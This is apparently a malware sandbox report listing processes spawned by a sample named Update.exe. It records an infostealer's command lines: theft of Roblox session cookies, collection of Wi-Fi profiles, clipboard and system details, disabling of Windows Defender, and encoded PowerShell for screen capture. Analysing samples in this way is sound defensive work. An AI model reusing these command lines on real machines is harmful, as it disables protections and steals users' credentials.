Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI68522\rar.exe a -r -hp"dextycraxscloud" "C:\Users\user\AppData\Local\Temp\dRGk3.zip" *" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Update.exe' Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\bound.exe bound.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr'
Source: C:\Users\user\AppData\Local\Temp\bound.exe Process created: C:\Users\user\AppData\Local\Temp\Build.exe "C:\Users\user\AppData\Local\Temp\Build.exe"
Source: C:\Users\user\AppData\Local\Temp\bound.exe Process created: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe "C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yidhhzbx\yidhhzbx.cmdline"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8576.tmp" "c:\Users\user\AppData\Local\Temp\yidhhzbx\CSCA27ED749AA364CCD94BFD566BA81531.TMP"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaa